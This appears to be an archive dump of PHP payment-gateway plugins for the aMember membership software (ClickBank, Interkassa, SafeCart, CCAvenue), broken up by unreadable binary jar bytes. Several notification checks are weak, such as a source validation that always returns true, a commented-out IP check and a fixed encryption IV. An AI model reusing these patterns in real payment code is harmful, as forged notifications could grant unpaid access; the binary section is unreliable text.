(string)$this->xml->transactionresponse->transid; } public function findInvoiceId() { return (string) $this->xml->transactionresponse->udf1; } public function validateSource() { return true; } public function validateStatus() { return ((string) $this->xml->transactionresponse->result) == 'paid'; } public function validateTerms() { return true; } }PK\d<33payment/myshortcart-alfa.phpnu[defaultTitle = "ClickBank"; $this->defaultDescription = ___("pay using credit card or PayPal"); parent::__construct($di, $config); $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'clickbank_product_id', 'ClickBank Product#', 'you have to create similar product in ClickBank and enter its number here' ,array(/*,'required'*/) ) /*new Am_CustomFieldSelect( 'clickbank_product_id', 'ClickBank Product#', 'you have to create similar product in ClickBank and enter its number here', 'required', array('options' => array('' => '-- Please select --', '11' => '#11', '22' => '#22')))*/ ); $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'clickbank_skin_id', 'ClickBank Skin ID', 'an ID if your custom skin (cbskin parameter) for an order page' ) ); } public function init() { parent::init(); $this->getDi()->blocks->add(new Am_Block('thanks/success', 'ClickBank Statement', 'clickbank-statement', $this, array($this, 'renederStatement'))); } public function renederStatement(Am_View $v) { if (isset($v->invoice) && $v->invoice->paysys_id == $this->getId()) { $line1 = ___('Your credit card statement will show a charge from ClickBank or CLKBANK*COM'); $line2 = ___("ClickBank is the retailer of products on this site. CLICKBANK® is a registered trademark of Click Sales, Inc., a Delaware corporation located at 917 S. Lusk Street, Suite 200, Boise Idaho, 83706, USA and used by permission. ClickBank's role as retailer does not constitute an endorsement, approval or review of these products or any claim, statement or opinion used in promotion of these products."); return <<

    $line1

    $line2

    CUT; } } public function isConfigured() { return strlen($this->getConfig('account')); } public function canAutoCreate() { return true; } public function isNotAcceptableForInvoice(Invoice $invoice) { foreach ($invoice->getItems() as $item) { /* @var $item InvoiceItem */ if (!$item->getBillingPlanData('clickbank_product_id')) return "item [" . $item->item_title . "] has no related ClickBank product configured"; } } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('account', array('size' => 20, 'maxlength' => 16)) ->setLabel("ClickBank Account Nickname\n". "your ClickBank username") ->addRule('required'); $form->addPassword('secret', array('size' => 20, 'maxlength' => 16)) ->setLabel("Secret Key\n". "defined at clickbank.com -> login -> SETTINGS -> My Site -> Advanced Tools (edit)") ->addRule('required'); $form->addText('clerk_key', array('size' => 50)) ->setLabel("ClickBank Clerk API Key\n". "defined at clickbank.com -> login -> SETTINGS -> My Account -> Clerk API Keys (edit)") ->addRule('required'); $form->addText('dev_key', array('size' => 50)) ->setLabel("Developer API Key\n". "defined at clickbank.com -> login -> SETTINGS -> My Account -> Developer API Keys (edit)") ->addRule('required'); $form->addAdvCheckbox('use_cart')->setLabel("Use Clickbank cart interface\n" . "Allow to select more then one product on signup page"); } public function _process($invoice, $request, $result) { if($this->getConfig('use_cart')) return $this->_processCart ($invoice, $request, $result); return $this->_processRegular($invoice, $request, $result); } public function _processRegular($invoice, $request, $result) { $a = new Am_Paysystem_Action_Redirect($this->url); $a->link = sprintf('%s/%s/%s', $this->getConfig('account'), $this->invoice->getItem(0)->getBillingPlanData('clickbank_product_id'), $this->invoice->getLineDescription() ); $a->seed = $invoice->public_id; $a->cbskin = $this->invoice->getItem(0)->getBillingPlanData('clickbank_skin_id'); $a->name = $invoice->getName(); $a->email = $invoice->getEmail(); $a->country = $invoice->getCountry(); $a->zipcode = $invoice->getZip(); $a->filterEmpty(); $result->setAction($a); } function _processCart($invoice, $request, $result) { $cart = array( 'skipSummary' => true, 'editQuantity' => false ); $items = array(); foreach($invoice->getItems() as $item) { $items[] = array( 'sku' => $item->getBillingPlanData('clickbank_product_id'), 'qty' => $item->qty ); } $cart['items'] = $items; $a = new Am_Paysystem_Action_Redirect(sprintf($this->cartUrl, $this->getConfig('account'))); $a->cbcart = json_encode($cart); $a->seed = $invoice->public_id; $a->name = $invoice->getName(); $a->email = $invoice->getEmail(); $a->country = $invoice->getCountry(); $a->zipcode = $invoice->getZip(); $a->filterEmpty(); $result->setAction($a); } public function directAction($request, $response, $invokeArgs) { try { return parent::directAction($request, $response, $invokeArgs); } catch (Exception $e) { if ($request->getActionName() == 'ipn') { $response->setBody('ERROR')->setHttpResponseCode(200); } else { throw $e; } } } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $request = $this->createHttpRequest(); $ps = new stdclass; $ps->type = 'cncl'; $ps->reason = 'ticket.type.cancel.7'; $ps->comment = 'cancellation request from aMember user ('.$invoice->getLogin().')'; $get_params = http_build_query((array)$ps, '', '&'); $payment = current($invoice->getPaymentRecords()); $request->setUrl($s='https://api.clickbank.com/rest/1.3/tickets/'. Am_Di::getInstance()->invoicePaymentTable->getLastReceiptId($invoice->pk())."?$get_params"); $request->setHeader(array( 'Content-Length' => '0', 'Accept' => 'application/xml', 'Authorization' => $this->getConfig('dev_key').':'.$this->getConfig('clerk_key'))); $request->setMethod(Am_HttpRequest::METHOD_POST); $this->logRequest($request); $request->setMethod('POST'); $response = $request->send(); $this->logResponse($response); if( $response->getStatus() != 200 && $response->getBody() != 'Subscription already canceled') throw new Am_Exception_InputError("An error occurred while cancellation request"); } public function processRefund(InvoicePayment $payment, Am_Paysystem_Result $result, $amount) { $request = $this->createHttpRequest(); $ps = new stdclass; $ps->type = 'rfnd'; $ps->reason = 'ticket.type.refund.8'; $ps->comment = 'refund request for aMember user ('.$payment->getUser()->login.')'; if(doubleval($amount) == doubleval($payment->amount)) { $ps->refundType = 'FULL'; } else { $ps->refundType = 'PARTIAL_AMOUNT'; $ps->refundAmount = $amount; } $get_params = http_build_query((array)$ps, '', '&'); $request->setUrl($s='https://api.clickbank.com/rest/1.3/tickets/'. $payment->receipt_id."?$get_params"); $request->setHeader(array( 'Content-Length' => '0', 'Accept' => 'application/xml', 'Authorization' => $this->getConfig('dev_key').':'.$this->getConfig('clerk_key'))); $request->setMethod(Am_HttpRequest::METHOD_POST); $this->logRequest($request); $request->setMethod('POST'); $response = $request->send(); $this->logResponse($response); if( $response->getStatus() != 200 && $response->getBody() != 'Refund ticket already open') throw new Am_Exception_InputError("An error occurred during refund request"); $trans = new Am_Paysystem_Transaction_Manual($this); $trans->setAmount($amount); $trans->setReceiptId($payment->receipt_id.'-clickbank-refund'); $result->setSuccess(); } public function createTransaction($request, $response, array $invokeArgs) { if ($request->getParam('ctransreceipt')) { return new Am_Paysystem_Transaction_Clickbank21($this, $request, $response, $invokeArgs); } else { return new Am_Paysystem_Transaction_Clickbank60($this, $request, $response, $invokeArgs); } } public function createThanksTransaction( $request, $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Clickbank_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { return << Setup/Configuration -> Plugins and enable "ClickBank" payment plugin. 2. Configure plugin: go to aMember CP -> Setup/Configuration -> ClickBank and configure it. 3. For each your product and billing plan, configure ClickBank Product ID at aMember CP -> Manage Products -> Edit 4. Configure ThankYou Page URL in your ClickBank account (for each Product) to this URL: %root_url%/payment/c-b/thanks 5. Configure Instant Notification URL in your ClickBank account (SETTINGS -> My Site -> Advanced Tools (edit)) to this URL: %root_url%/payment/c-b/ipn Set version to 6.0 6. Run a test transaction to ensure everything is working correctly. CUT; } } class Am_Paysystem_Transaction_Clickbank21 extends Am_Paysystem_Transaction_Incoming { // payment const SALE = "SALE"; const TEST = "TEST"; const TEST_SALE = "TEST_SALE"; const BILL = "BILL"; const TEST_BILL = "TEST_BILL"; // refund const RFND = "RFND"; const TEST_RFND = "TEST_RFND"; const CGBK = "CGBK"; const TEST_CGBK = "TEST_CGBK"; const INSF = "INSF"; const TEST_INSF = "TEST_INSF"; // cancel const CANCEL_REBILL = "CANCEL-REBILL"; const CANCEL_TEST_REBILL = "CANCEL-TEST-REBILL"; // cancel const UNCANCEL_REBILL = "UNCANCEL-REBILL"; const UNCANCEL_TEST_REBILL = "UNCANCEL-TEST-REBILL"; protected $_autoCreateMap = array( 'name' => 'ccustname', 'country' => 'ccustcc', 'state' => 'ccuststate', 'email' => 'ccustemail', 'user_external_id' => 'ccustemail', 'invoice_external_id' => 'ccustemail', ); public function findTime() { //clickbank timezone $dtc = new DateTime('now', new DateTimeZone('Canada/Central')); //local timezone $dtl = new DateTime('now', new DateTimeZone(date_default_timezone_get())); $diff = $dtc->getOffset() - $dtl->getOffset(); $dt = new DateTime('@' . ($this->request->getInt('ctranstime') - $diff)); $dt->setTimezone(new DateTimeZone('Canada/Central')); return $dt; } public function getUniqId() { return $this->request->get('ctransreceipt'); } public function getReceiptId() { return $this->request->get('ctransreceipt'); } public function getAmount() { return moneyRound($this->request->get('ctransamount')); } public function findInvoiceId() { $seed = $this->request->getFiltered('seed'); if(!$seed && ($vars = $this->request->get('cvendthru'))){ parse_str(html_entity_decode($vars), $ret); return $ret['seed']; } } public function validateSource() { $ipnFields = $this->request->getPost(); unset($ipnFields['cverify']); ksort($ipnFields); $pop = implode('|', $ipnFields) . '|' . $this->getPlugin()->getConfig('secret'); if (function_exists('mb_convert_encoding')) $pop = mb_convert_encoding($pop, "UTF-8"); $calcedVerify = strtoupper(substr(sha1($pop),0,8)); return ($this->request->get('cverify') == $calcedVerify) && ($this->request->getFiltered('ctransrole') == 'VENDOR'); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->request->get('ctransaction')) { //payment case self::SALE: case self::TEST: case self::TEST_SALE: case self::BILL: case self::TEST_BILL: if(doubleval($this->invoice->first_total) == 0 && $this->invoice->status == Invoice::PENDING) { $this->invoice->addAccessPeriod($this); } else { $this->invoice->addPayment($this); } break; //refund case self::RFND: case self::TEST_RFND: case self::CGBK: case self::TEST_CGBK: case self::INSF: case self::TEST_INSF: $this->invoice->addRefund($this, Am_Di::getInstance()->invoicePaymentTable->getLastReceiptId($this->invoice->pk())); //$this->invoice->stopAccess($this); break; //cancel case self::CANCEL_REBILL: case self::CANCEL_TEST_REBILL: $this->invoice->setCancelled(true); break; //un cancel case self::UNCANCEL_REBILL: case self::UNCANCEL_TEST_REBILL: $this->invoice->setCancelled(false); break; } } public function generateInvoiceExternalId() { list($l,) = explode('-',$this->getUniqId()); return $l; } public function autoCreateGetProducts() { $cbId = $this->request->getFiltered('cproditem'); if (empty($cbId)) return; $pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('clickbank_product_id', $cbId); if (!$pl) return; $pr = $pl->getProduct(); if (!$pr) return; return array($pr); } public function fetchUserInfo() { $email = $this->request->get('ccustemail'); $email = preg_replace('/[^a-zA-Z0-9._+@-]/', '', $email); return array( 'name_f' => ucfirst(strtolower($this->request->getFiltered('ccustfirstname'))), 'name_l' => ucfirst(strtolower($this->request->getFiltered('ccustlastname'))), 'email' => $email, 'country' => $this->request->getFiltered('ccustcounty'), 'zip' => $this->request->getFiltered('ccustzip'), ); } } class Am_Paysystem_Transaction_Clickbank60 extends Am_Paysystem_Transaction_Incoming { // payment const SALE = "SALE"; const TEST = "TEST"; const TEST_SALE = "TEST_SALE"; const BILL = "BILL"; const TEST_BILL = "TEST_BILL"; // refund const RFND = "RFND"; const TEST_RFND = "TEST_RFND"; const CGBK = "CGBK"; const TEST_CGBK = "TEST_CGBK"; const INSF = "INSF"; const TEST_INSF = "TEST_INSF"; // cancel const CANCEL_REBILL = "CANCEL-REBILL"; const CANCEL_TEST_REBILL = "CANCEL-TEST-REBILL"; // cancel const UNCANCEL_REBILL = "UNCANCEL-REBILL"; const UNCANCEL_TEST_REBILL = "UNCANCEL-TEST-REBILL"; protected $notification = null; function init() { $r = json_decode($this->request->getRawBody(), true); if ($r && isset($r['notification']) && isset($r['iv'])) { $msg = trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, substr(sha1($this->plugin->getConfig('secret')), 0, 32), base64_decode($r['notification']), MCRYPT_MODE_CBC, base64_decode($r['iv'])), "\0..\32"); $this->notification = json_decode($msg, true); $this->plugin->logOther('DECODED NOTIFICATION', $this->notification); } } public function findTime() { return new DateTime($this->notification['transactionTime']); } public function getUniqId() { return $this->notification['receipt']; } public function findInvoiceId() { $ret = array(); parse_str(parse_url($this->notification['lineItems'][0]['downloadUrl'], PHP_URL_QUERY), $ret); return isset($ret['seed']) ? $ret['seed'] : null; } public function validateSource() { return !is_null($this->notification); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->notification['transactionType']) { //payment case self::SALE: case self::TEST: case self::TEST_SALE: case self::BILL: case self::TEST_BILL: if(doubleval($this->invoice->first_total) == 0 && $this->invoice->status == Invoice::PENDING) { $this->invoice->addAccessPeriod($this); } else { $this->invoice->addPayment($this); } break; //refund case self::RFND: case self::TEST_RFND: case self::CGBK: case self::TEST_CGBK: case self::INSF: case self::TEST_INSF: $this->invoice->addRefund($this, $this->plugin->getDi()->invoicePaymentTable->getLastReceiptId($this->invoice->pk())); break; //cancel case self::CANCEL_REBILL: case self::CANCEL_TEST_REBILL: $this->invoice->setCancelled(true); break; //un cancel case self::UNCANCEL_REBILL: case self::UNCANCEL_TEST_REBILL: $this->invoice->setCancelled(false); break; } } public function generateInvoiceExternalId() { list($l,) = explode('-', $this->getUniqId()); return $l; } public function autoCreateGetProducts() { $products = array(); foreach ($this->notification['lineItems'] as $item) { $pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('clickbank_product_id', $item['itemNo']); if ($pl) { $products[] = $pl->getProduct(); } } return $products; } public function fetchUserInfo() { $customer = $this->notification['customer']['billing']; return array( 'name_f' => $customer['firstName'], 'name_l' => $customer['lastName'], 'phone' => $customer['phoneNumber'], 'email' => $customer['email'], 'country' => $customer['address']['country'], 'state' => $customer['address']['state'], 'zip' => $customer['postalCode'] ); } } class Am_Paysystem_Transaction_Clickbank_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function autoCreateGetProducts() { $cbId = $this->request->getFiltered('item'); if (empty($cbId)) return; $pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('clickbank_product_id', $cbId); if (!$pl) return; $pr = $pl->getProduct(); if (!$pr) return; return array($pr); } public function findTime() { //clickbank timezone $dtc = new DateTime('now', new DateTimeZone('Canada/Central')); //local timezone $dtl = new DateTime('now', new DateTimeZone(date_default_timezone_get())); $diff = $dtc->getOffset() - $dtl->getOffset(); $dt = new DateTime('@' . ($this->request->getInt('time') - $diff)); $dt->setTimezone(new DateTimeZone('Canada/Central')); return $dt; } public function generateInvoiceExternalId() { return $this->getUniqId(); } public function fetchUserInfo() { $names = preg_split('/\s+/', $this->request->get('cname'), 2); $names[0] = preg_replace('/[^a-zA-Z0-9._+-]/', '', $names[0]); $names[1] = preg_replace('/[^a-zA-Z0-9._+-]/', '', $names[1]); $email = $this->request->get('cemail'); $email = preg_replace('/[^a-zA-Z0-9._+@-]/', '', $email); return array( 'name_f' => $names[0], 'name_l' => $names[1], 'email' => $email, 'country' => $this->request->getFiltered('ccountry'), 'zip' => $this->request->getFiltered('czip'), ); } public function findInvoiceId() { $invoice = $this->getPlugin()->getDi()->invoiceTable->findByReceiptIdAndPlugin($this->request->getEscaped('cbreceipt'), $this->plugin->getId()); if ($invoice) return $invoice->public_id; else return $this->request->getFiltered('seed'); } public function getUniqId() { return $this->request->get('cbreceipt'); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function validateSource() { $vars = array( $this->getPlugin()->getConfig('secret'), $this->request->get('cbreceipt'), $this->request->get('time'), $this->request->get('item'), ); $hash = sha1(implode('|', $vars)); return strtolower($this->request->get('cbpop')) == substr($hash, 0, 8); } public function getInvoice() { return $this->invoice; } } PK\qqpayment/interkassa.phpnu[addText('co_id') ->setLabel("Interkassa ID\n" . "The Merchant's unique identification number as provided by Interkassa"); $form->addPassword('secret') ->setLabel("Interkassa Secret Key\n" . "Secret key from your Interkassa account for the checksum calculation"); } public function isConfigured() { return $this->getConfig('co_id') && $this->getConfig('secret'); } public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->rebill_times) { return "Interkassa cannot handle products with recurring payment plan"; } return parent::isNotAcceptableForInvoice($invoice); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL); $data = array( 'ik_co_id' => $this->getConfig('co_id'), 'ik_pm_no' => $invoice->public_id, 'ik_cur' => $invoice->currency, 'ik_am' => $invoice->first_total, 'ik_desc' => $invoice->getLineDescription(), 'ik_cli' => $invoice->getUser()->email, 'ik_ia_u' => $this->getPluginUrl('ipn'), 'ik_suc_u' => $this->getReturnUrl(), 'ik_fal_u' => $this->getCancelUrl(), 'ik_x_invoice' => $invoice->public_id ); $data['ik_sign'] = $this->sign($data); foreach ($data as $k => $v) { $a->addParam($k, $v); } $this->logRequest($a); $result->setAction($a); } public function sign($data) { ksort($data, SORT_STRING); array_push($data, $this->getConfig('secret')); return base64_encode(md5(implode(':', $data), true)); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Interkassa($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Interkassa extends Am_Paysystem_Transaction_Incoming { public function getInvoice() { return $this->invoice; } public function findInvoiceId() { return $this->request->getFiltered('ik_x_invoice'); } public function getUniqId() { return $this->request->getParam('ik_trn_id'); } public function getReceiptId() { return $this->request->getFiltered('ik_inv_id'); } public function validateSource() { $data = array(); foreach ($this->request->getParams() as $k => $v) { if (substr($k, 0, 3) == 'ik_' && $k != 'ik_sign') $data[$k] = $v; } return $this->getPlugin()->sign($data) == $this->request->get('ik_sign'); } public function validateStatus() { if ($this->request->get('ik_inv_st') != 'success') throw new Am_Exception_Paysystem_TransactionInvalid(sprintf("Status is not Success [%s]", $this->request->get('ik_inv_st'))); if ($this->getPlugin()->getConfig('co_id') != $this->request->get('ik_co_id')) throw new Am_Exception_Paysystem_TransactionInvalid(sprintf("Foreign transaction - not our ik_co_id [%s!=%s]", $this->request->get('ik_co_id'), $this->getPlugin()->getConfig('co_id'))); return true; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->getAmount(), 'First Total'); if ($this->request->get('ik_cur') != $this->invoice->currency) return false; return true; } public function getAmount() { return $this->request->get('ik_am'); } public function processValidated() { $this->invoice->addPayment($this); } } PK\͆~~~payment/safecart.phpnu[addText("username")->setLabel('Your SafeCart username'); $form->addText('auth_token')->setLabel('Auth Token'); return $form; } function init(){ parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('safecart_sku', "SafeCart SKU", "you must create the same product
    in Safecart and enter SKU here")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('safecart_product', "SafeCart Product", "You can get it from cart url: https://safecart.com/1mtest/PRODUCT/")); } function getURL(Invoice $invoice){ /* * Added to fix long username problem. * If username is over 15 characters we truncate it to 15 characters * This helps resolve issue we had with safecart URL versus the IPN validation * return sprintf("https://safecart.com/%s/%s/", $this->getConfig("username"), $invoice->getItem(0)->getBillingPlanData('safecart_product')); */ if (strlen($this->getConfig("username")) > 15) { $username = substr($this->getConfig("username"), 0, 15); } else { $username = $this->getConfig("username"); } return sprintf("https://safecart.com/%s/%s/", $username, $invoice->getItem(0)->getBillingPlanData('safecart_product')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $action = new Am_Paysystem_Action_Redirect($this->getURL($invoice)); $action->name = $invoice->getName(); $action->email = $invoice->getEmail(); $action->country= $invoice->getCountry(); $action->postal_zip = $invoice->getZip(); $action->__set('sku[]', $invoice->getItem(0)->getBillingPlanData('safecart_sku')); $action->payment_id = $invoice->public_id; $action->rbvar = 6; // I don't know what is it. Ported from v3 plugin $result->setAction($action); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Safecart($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme() { $ipn = Am_Html::escape($this->getPluginUrl('ipn')); return <<SafeCart Payment Plugin Configuration 1. Notification URL in your Safecart account should be set to $ipn 2. Notification types should be set to XML CUT; } function canAutoCreate(){ return true; } } class Am_Paysystem_Transaction_Safecart extends Am_Paysystem_Transaction_Incoming{ protected $xml; protected $req; protected $ip = array(array('209.139.253.0', '209.139.253.255')); const SALE = 'sale'; const REFUND = 'refund'; function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); $this->req = $request->getRawBody(); $this->xml = simplexml_load_string($this->req); } public function getUniqId() { return implode('-', array((string)$this->xml->attributes()->id, (string)$this->xml->attributes()->ref)); } public function validateSource() { // $this->_checkIp($this->ip); $signature = base64_encode(hash_hmac('sha256', $this->req, $this->getPlugin()->getConfig('auth_token'))); if (!($this->request->getHeader('X-Revenuewire-Signature') && $this->request->getHeader('X-Revenuewire-Signature')=== $signature)) { return false; } if($this->xml === false){ throw new Am_Exception_Paysystem_TransactionInvalid("Invalid input type. Make sure that postback notifications type is set to XML"); } if( ((string) $this->xml->attributes()->merchant) != $this->plugin->getConfig('username')) throw new Am_Exception_Paysystem_TransactionSource("Merchant ID is not correct for received transaction!"); return true; } public function findInvoiceId(){ $data = (string) $this->xml->extra->request; parse_str(urldecode($data), $req); return @$req['payment_id']; } public function validateStatus() { return true; } public function validateTerms() { if((string) $this->xml->event->attributes()->type == self::SALE){ $amount = (float) $this->xml->event->sale->attributes()->amount; if($this->xml->event->tax) $amount = $amount - (float) $this->xml->event->tax->attributes()->amount; if(floatval($this->invoice->first_total) != floatval($amount)){ throw new Am_Exception_Paysystem_TransactionInvalid("Incorrect payment amount"); } } return true; } function processValidated() { switch($this->xml->event->attributes()->type){ case self::SALE : $this->invoice->addPayment($this); break; case self::REFUND : $this->invoice->addRefund($this, $this->getReceiptId(), abs($this->xml->sale->amount)); break; } } function setInvoiceLog(InvoiceLog $log) { parent::setInvoiceLog($log); $this->getPlugin()->logOther('SAFECART IPN:', $this->req); } function autoCreateGetProducts(){ $products = array(); foreach($this->xml->products->item as $item){ $sku = (string) $item->attributes()->sku; $bp = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('safecart_sku', $sku); if(!$bp) continue; $products[] = $bp->getProduct(); } return $products; } function generateInvoiceExternalId(){ return (string) $this->xml->attributes()->id; } function generateUserExternalId(array $userInfo){ return md5($userInfo['email']); } function fetchUserInfo(){ $ret = array(); list($ret['name_f'], $ret['name_l']) = explode(" ", (string) $this->xml->customer->name); if(empty($ret['name_l'])) $ret['name_l'] = ''; $ret['email'] = (string) $this->xml->customer->email; return $ret; } } PK\K̝Mpayment/ccavenue/ccavutil.jarnu[PK G@com/UT L1ObOux PK G@ com/ccavenue/UT L1ObOux PK `@com/ccavenue/security/UT #bO/bOux PK G@ META-INF/UT 1ObOux PKO`@8ouMETA-INF/MANIFEST.MFUT `O/bOux ȱ 1 нC).ަ:Rb]z4пrZ|RS2LޥF'8sݻت5Z5a].,1-EuXW@,_N 66{/PKa@X+( com/ccavenue/security/AesCryptUtil.javaUT O#bOux XOHN8>k{U &ߩ/Jѧ:1a걑.q#-܀/?ڗ3 5қ910u*"zo˦DUuAs?v {4%99MDU(S[u04""y~" i.}tגh\[5rf=i|-ihD\AL8<;04[&YH&8j Ih';Z-˸1S1m\_<ůmC>z/]/.SKfXNĭ I eS%M9uQ[ acF'_T.?d|MUBgǕ( lw7Fϰ9Z^*yfe(w/F l`2Isr6-VL-C,~`<}[.pmd*MaiawM| [:# i oL:06l ^lY%xg xa -PQ (& fS޵TV+3tsV uɘ6\DB݌bo .<} t~4h.B7Ee]g$|ܼ0V[l*ZH'o%"%.5׌U., (,SSs+6 (]g.V7ւݓo<`0Dn'^VPK _@0t (com/ccavenue/security/AesCryptUtil.classUT O/bOux WSrN)Z% j E HGSNcHsjrt*'9/e*t"`Mn}=9M7}sW04=$.;<$@AZ~> `w bi(x0 = <ķp{PkV}EFK@$+ 8z]%LS-cN`O{Ewn6 ‰=78ōv~-+;mrI}sZxM[~a3(b*6[k*~U_%~6*N"&aqzr\ !蔄%_<إ~sE(NKEeBHkkKKh7vo`1PL2FTgTᬊw3Ka^I#FyK¢ &P؃=}H;Τ₌*~U|ߋTRg|,㒊O Q=3ra:'~#7r__ߑzrfj,{,.km ^?ӲU-~y ' Da%~uPoRIgjtĸ4iI-衼,`h]*CNa);\٧s=o) ?qYU|Hnٯ'Y+[Vn]sÍk#:6K+ -zV@lXڝVKCWm58E3Om-}@՚љZ@< s~*w hL;Zҥ=Yd.ELh3d}[ય-u&Ⲷ[QfI)>O6-&LNɮdȓ0tԖStV˰U 4ё¨c}b, Vt/Qʫ&[#evkz65WIv!BVg{E([t_U =yiv2Ϭ@嫮@۝Aq'\{&v*p")ְOy+t])#&wA6(/b9YAqL2Y>|HNyr-dU sr*6G k8*chc-+8 !(QNOh ZN%lPq!pg1fTm)k)A3!In '8i>XbO9pYŠbG=~4Pl\G޳J'x'xB E'n/W^˵W J8;U9xk8NN8;#CMzMmԎO|PllL|.k6OYփ#x @3hN+&0zɹO`7D7ⶑi1J4 #slhjs^WЫ 1wʿ1F =$-tV`0=L+ܕto%WC[ 7ꇱ` c]MXt2FIK,.Y\ ^L7Iۙ)u$׺>Zweh]?3ȓ#-ƭ벳?% Bpr)-ՏXS(»1z/;EBeo<+~>~£t x)W D}Fqmםژ>c> O=Osbv5@o ^K:>iAqHUrV>wwFs*iʥƓ2^Dq pE { x7&zO "jzW<_XL Wȇ W?Yӄ^Ck }"2!-R ?RL&R97 aoѲ-l ;"-ob.*.[Թj-N[9_ ٍ[kMc'G.춙:!Խ8az=tyjNf3ƢM K{<{VU8E'ޤ' * racz؁g "KCG(a ['xOc|꾂Oyh ~_\&YPK G@Acom/UTL1Oux PK G@ A>com/ccavenue/UTL1Oux PK `@Acom/ccavenue/security/UT#bOux PK G@ AMETA-INF/UT1Oux PKO`@8ouMETA-INF/MANIFEST.MFUT`Oux PKa@X+( com/ccavenue/security/AesCryptUtil.javaUTOux PK _@0t (b com/ccavenue/security/AesCryptUtil.classUTOux PK~8PK\)Jpayment/ccavenue/ccavenue.phpnu[> 16) & 0xffff; for ($i = 0; $i < strlen($str); $i++) { $s1 = ($s1 + Ord($str[$i])) % $BASE; $s2 = ($s2 + $s1) % $BASE; } return $this->leftshift($s2, 16) + $s1; } function getChecksum($MerchantId, $OrderId, $Amount, $redirectUrl, $WorkingKey) { $str = "$MerchantId|$OrderId|$Amount|$redirectUrl|$WorkingKey"; $adler = 1; $adler = $this->adler32($adler,$str); return $adler; } function leftshift($str, $num) { $str = DecBin($str); for ($i = 0; $i < (64 - strlen($str)); $i++) $str = "0" . $str; for ($i = 0; $i < $num; $i++) { $str = $str . "0"; $str = substr($str, 1); } return $this->cdec($str); } function cdec($num) { $dec = 0; for ($n = 0; $n < strlen($num); $n++) { $temp = $num[$n]; $dec = $dec + $temp * pow(2, strlen($num) - $n - 1); } return $dec; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('account_id')->setLabel('Merchant Account Id'); $form->addText('secret')->setLabel('Merchant Secret Key'); $form->addText('access_code')->setLabel('Merchant Access Code'); } function decrypt($encryptedText) { $key = $this->getConfig('secret'); $secretKey = $this->hextobin(md5($key)); $initVector = pack("C*", 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f); $encryptedText= $this->hextobin($encryptedText); $openMode = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '','cbc', ''); mcrypt_generic_init($openMode, $secretKey, $initVector); $decryptedText = mdecrypt_generic($openMode, $encryptedText); $decryptedText = rtrim($decryptedText, "\0"); mcrypt_generic_deinit($openMode); return $decryptedText; } function encrypt($plainText) { $key = $this->getConfig('secret'); $secretKey = $this->hextobin(md5($key)); $initVector = pack("C*", 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f); $openMode = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '','cbc', ''); $blockSize = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, 'cbc'); $plainPad = $this->pkcs5_pad($plainText, $blockSize); if (mcrypt_generic_init($openMode, $secretKey, $initVector) != -1) { $encryptedText = mcrypt_generic($openMode, $plainPad); mcrypt_generic_deinit($openMode); } return bin2hex($encryptedText); } function pkcs5_pad ($plainText, $blockSize) { $pad = $blockSize - (strlen($plainText) % $blockSize); return $plainText . str_repeat(chr($pad), $pad); } function hextobin($hexString) { $length = strlen($hexString); $binString=""; $count=0; while($count<$length) { $subString =substr($hexString,$count,2); $packedString = pack("H*",$subString); if ($count==0) { $binString=$packedString; } else { $binString.=$packedString; } $count+=2; } return $binString; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $a = new Am_Paysystem_Action_Form(self::LIVE_URL); $vars = array( 'merchant_id' => $this->getConfig('account_id'), 'order_id' => $invoice->public_id, 'amount' => $invoice->first_total, 'redirect_url' => $this->getPluginUrl('thanks'), 'cancel_url' => $this->getCancelUrl(), 'billing_cust_name' => $u->name_f . ' ' . $u->name_l, 'billing_cust_address' => $u->street, 'billing_cust_city' => $u->city, 'billing_cust_state' => substr($u->state, -2), 'billing_zip_code' => $u->zip, 'billing_cust_country' => $u->country, 'billing_cust_tel' => $u->phone, 'billing_cust_email' => $u->email, 'currency' => $invoice->currency, 'txnrype' => 'A', 'actionid' => 'TXN', 'billing_cust_notes' => $invoice->getLineDescription(), ); $query = http_build_query($vars); $a->encRequest = $this->encrypt($query); $a->access_code = $this->getConfig('access_code'); $result->setAction($a); } public function 